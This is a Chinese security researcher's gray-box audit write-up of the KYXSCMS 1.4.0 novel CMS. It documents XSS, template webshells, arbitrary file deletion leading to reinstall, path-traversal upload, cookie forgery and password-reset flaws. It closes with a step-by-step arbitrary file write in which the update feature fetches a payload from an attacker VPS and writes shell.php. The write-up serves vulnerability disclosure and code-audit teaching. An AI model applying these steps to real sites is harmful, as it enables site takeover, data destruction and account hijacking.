狂雨小说CMS是一个基于TP5.1.33框架的小说内容管理系统。缩写为KYXSCMS。灵活,方便,人性化设计简单易用是最大的特色,是快速架设小说类网站首选,只需5分钟即可建立一个海量小说的行业网站,批量采集目标网站数据或使用数据联盟,即可自动采集获取大量数据。内置标签模版,即使不懂代码的前端开发者也可以快速建立一个漂亮的小说网站。
本次漏洞挖掘为灰盒测试,使用黑盒测试的直觉定位可能存在的漏洞点,再使用白盒审计的代码理解力去分析漏洞成因,故黑+白=灰。使用该方法挖到的漏洞均有”*“标识,其余漏洞点则大部分为黑盒得到。如果想看看有什么漏洞建议顺序阅读,如果只想学习审计流程思路,建议直接阅读最后的【任意文件写入】
测试系统为1.4.0最新版,站长之家下载;使用PhpStudyV8搭建;测试环境为Windows10+ PHP5.6.9 + Mysql5.7.26。
正文开始。(PS:带有*号标识的为本文重点,最重点为文末最后的【任意文件写入】)
【XSS-1】后台文章编辑器
前台点击文章即可触发。
【XSS-2】后台广告管理+模板管理
这里的主要原因是该系统写入数据库的所有数据都没有XSS的过滤
step1:添加广告
step2:模板调用,任意一处插入即可。
【XSS-3】直接修改模板
修改模板添加普通的XSS的paylaod保存即可。
【GetShell】直接修改模板
修改模板添加普通的一句话木马保存即可。
【*任意文件删除-1】数据管理-->小说管理-->添加-->删除
step1:在网站根目录新建一个测试目录,目录下新建测试文件
step2:后台数据管理-->小说管理-->添加,手动输入路径
此时保存后,数据库中Novel表中的pic字段值就为../../test/testdel.txt了。
step3:点击删除
step4:成功删除
代码位置:
漏洞点在application/admin/model/Novel.php
由于添加时封面路径可控,即存入数据库的pic字段的值可控。并且,整段代码并无任何过滤.或/的行为,这就造成了任意文件删除。
删除点在extend/org/File.php
通过动态调试得到的信息可以看到,最终unlink函数中的$filename的值就是我们控制的pic字段的原值,没有任何处理限制就直接删除了。
查找用法,得到如下几处漏洞点
【任意文件删除-2】文章管理处,步骤同上。
代码位置
漏洞点在application/admin/model/News.php#127
【任意文件删除-3】文章编辑处
将之前的点击删除 改为点击编辑,修改掉封面路径并保存可以达到同样的效果。
代码位置
漏洞点在application/admin/model/News.php#95
【任意文件删除-4】小说编辑处
漏洞点在application/admin/model/Novel.php#110
【任意文件删除-5、6】
分别为
1.用户管理--上传头像处步骤同上(删除用户触发)
2.管理章节处(导入章节),先随便上传一个txt,然后手动修改路径点击提交,这里会验证分割字符,可以自定义为空格,或者使用默认的换行应该可以通过大部分文件的验证了。
【*配合任意文件删除导致系统重装】
利用任意一处删除漏洞点,删除../../application/install/data/install.lock(此处示例利用的点为小说管理处的删除)
删完就这样了:
然后直接访问http://www.kyxs.com/install/index重装(差点以为不能重装)
访问http://www.kyxs.com/index/即可重装
【路径穿越上传】
可以将文件上传至任意目录下,可以上传html(但会重写文件名并不返回路径),如果返回路径的话可以算作一个文件上传XSS
http://www.kyxs.com/admin/upload/file?path=../../
代码位置:
application/admin/controller/Upload.php#16(pic方法)或26(file方法)
原因均为path参数用户可控且五过滤。没明白开发者设置这个参数存在的意义是什么。
【文件包含GetShell】模板功能的绕圈玩法
上传Logo处上传图片马会返回路径
模板编辑处可使用模板语法包含该图片,这里在footer.html处修改
访问主页即可触发
【恶意刷积分&经验】只需普通用户登录
重复请求
http://www.kyxs.com/user/user/add_exp_points即可刷积分
【*登录鉴别is_login()函数逻辑缺陷】
伪造Cookie获得任意账号的登录状态。
可以伪造任意账号的登陆状态,此处利用方式为刷用户积分的请求。同样的,由于存在该登录状态鉴别的逻辑缺陷,会导致普通用户的各种水平越权。(除密码修改,因为密码修改处验证了当前用户密码)。后台管理员身份验证方式为Session,所以是不能垂直向上越权的。
代码位置:
application/common.php#17-46
如代码所示,仅仅使用了sha1算法进行hash之后校验,像这样甚至可以伪造一个不存在的用户:
【任意密码重置】忘记密码
拦截包,修改邮箱地址即可收到验证码
【*任意文件写入】利用系统更新功能
0x01先分析调用链
更新方法在:application/admin/controller/Upgrade.php#72
public function update(){
$Upgrade=model('upgrade');
if(false !== $up_return=$Upgrade->updates()){
return json(['code'=>1,'number'=>$up_return],200);
}else{
return json(['code'=>0,'error'=>$Upgrade->getError()],200);
}
}
逻辑很简单,else分支是返回错误响应,这里需要进入if分支,所以进入$Upgrade->updates()方法继续看
跳转到:application/admin/model/Upgrade.php#54
public function updates(){
$num=Request::get('num',0);
$upArray=$this->upContent();
$upCode=Http::doGet(Config::get('web.official_url').'/'.$upArray[$num]['file_name']);
if(!$upCode){ //圈1
$this->error="读取远程升级文件错误,请检测网络!";
return false;
}
$dir = dirname($upArray[$num]['stored_file_name']);
if(!is_dir($dir))
mkdir($dir,0755,true);
if(false ===@file_put_contents($upArray[$num]['stored_file_name'],$upCode)){ //圈2
$this->error="保存文件错误,请检测文件夹写入权限!";
return false;
}
return $num+1;
}
先看整体逻辑,因为肯定不想让程序执行出错,所以最关注的点应该是怎么样能不进入returnfalse的分支。①所以需要$upCode不为false;②系统安装时需要网站目录下所有文件夹的可读可写权限,所以只要保存路径为网站根目录下,就不存在保存文件错误。
这样,重点就放在了1.$this->upContent()方法和2.Http::doGet这个请求方法,依次看
1. 跳转到:application/admin/model/Upgrade.php#72逐行解读upContent()方法
public function upContent($id=null,$type=null,$model='updata'){
$content=Cache::get('update_list');
if(!$content){
$url =Config::get('web.official_url').'/upgrade/'.$model.'/'.$id;
if($type){
$url = $url.'/'.$type;
}
$content=Http::doGet($url,30,$this->oauth_access_token);
$content=json_decode($content,true);
Cache::set('update_list',$content);
}
return $content;
}
首先尝试从缓存中获取update_list如果获取到就直接return了,这里要想利用的话,肯定是要清理一下系统缓存的(后台有清理功能)
那么进入if,从配置中获取web.official_url,然后拼接/upgrade/updata/$id,对$id没有要求,且因为调用的时候没有传入参数,故这里都是使用默认的参数值,if($type)也是进不去的。
接下来注意到向Http::doGet第三个参数位置传入了$this->oauth_access_token,跟进doGet()大概看了一下,仅仅是作为一个HTTP头来做验证的,而如果为了单纯发请求的话,对这个参数没有任何要求。如下图:
再接下来就是使用json_decode解析数据并写入缓存了(回想upContent()方法首先判断的就是有没有缓存)
2. 跳转到:extend/net/Http.php#46逐行解读doGet()方法,见上图。
因为在updates()方法中调用doGet时只传入了url,且从这段代码中不难看出,对于URL的只是做了添加http://的简单拼接,并没有限制,如果URL可控的话,就可以让程序发起向任意服务器的请求了。
调用链分析完毕
可以得知:1.url可控的话可以向任意服务器发起http请求;
2.upContent()方法返回一个数组,且是经过$content=json_decode($content,true)处理后的数组,所以原始响应数据应该为json格式的。
总结来说:如果请求目标(url)可控,那么$content可控,即$upArray可控;而如果$upArray可控的话,就能够让程序去请求服务器上的指定资源了,即原始响应数据可控。
0x02请求目标是可控的
管理后台提供了SQL语句执行的功能
而关键的服务器地址恰恰是存储在数据库中的config表中的92条记录
这样就可以通过执行SQL语句来修改为任意的服务器地址了
0x03指定请求资源
回头再看看请求资源文件名的方式是什么
public function updates(){
$num=Request::get('num',0);
$upArray=$this->upContent();
$upCode=Http::doGet(Config::get('web.official_url').'/'.$upArray[$num]['file_name']);
if(!$upCode){
$this->error="读取远程升级文件错误,请检测网络!";
return false;
}
$dir = dirname($upArray[$num]['stored_file_name']);
if(!is_dir($dir))
mkdir($dir,0755,true);
if(false ===@file_put_contents($upArray[$num]['stored_file_name'],$upCode)){
$this->error="保存文件错误,请检测文件夹写入权限!";
return false;
}
return $num+1;
}
通过$upArray的使用方法不难看出,这是一个二维数组,num默认为0,也就是$upArray[0]['file_name']和$upArray[0]['stored_file_name']两个元素
这里的$upCode并非字面意思,而是获取到了具体的数据,且在下边的代码中会写入$upArray[0]['stored_file_name']名字的一个文件中。
所以代码逻辑就是,请求获取服务器网站根目录的$upArray[0]['file_name']文件,将其写入$upArray[0]['stored_file_name']中。
同时,由于upContent()方法中请求的是拼接了/upgrade/updata/$id,也就是http://my-vps-ip:port/upgrade/updata/$id,的url。所以需要在http://my-vps-ip:port/upgrade/updata/下写好一个文件(index.html为例)因为$id是个num,且不重要。而且是http协议的请求,没有指定请求的文件而仅仅是目录,按照默认网站服务器配置规则,一般会默认访问index.html(注意不是仅仅起个临时服务能解决的哦,用python起的验证过是不行)
而index.html的内容,需要写为:
{"0":{"file_name":"exp.txt","stored_file_name":"shell.php"}}
接着,还需要在自己的Web服务根目录下新建exp.txt,写入<?phpphpinfo();?>。
0x04利用!
在VPS上起一个Web服务:
创建文件1:
创建文件2
只需请求http://www.kyxs.com/admin/upgrade/update,即可在网站根目录下写入shell.php!
事实上,之前提到的先使用后台有缓存清理功能,但事实上是不好用的。
这个清理缓存功能清理不了runtime/cache下的.php缓存,而事实上我在清理了缓存之后,Cache::get('update_list')还是可以获取数据,全局搜索发现是在这里还有存储:
所以说如果是实际的站点的话,还需要确定官方的更新文件中file_name和stored_file_name的值才能进行利用。。。。。。。。
总结
本次灰盒测试主要的技术点在于对MVC框架的理解,笔者认为代码审计的基础能力其实就是对”创造“和”破坏“的关系,懂得了如何去写功能才会有能力去挖掘功能点中存在的问题。这篇文章实际上就最后一个漏洞的描述比较清晰(前言有提到),也是由于想到其他漏洞点原理过于简单不适合大篇幅赘述。总的来说,KYXSCMS是比较适合新手去实战联系代码审计的能力的。在此给小伙伴们提一个还能进一步挖掘的点就是这个CMS还有一些phar反序列化问题未在本文说明,有兴趣的可以去研究一下TP5.1.3x的反序列化漏洞。
推荐学习:https://github.com/Mochazz/ThinkPHP-Vuln/tree/master/ThinkPHP5
欢迎关注公众号
关于公众号投稿
接受原创文章投稿
内容免杀 渗透实例 代码审计 溯源 经验技巧
要求 不能水文 从没发表 敏感内容打码
一经采纳根据文章质量给予作者 50-200的稿费。
投稿联系
原文始发于微信公众号(moonsec):KYXSCMS 灰盒测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论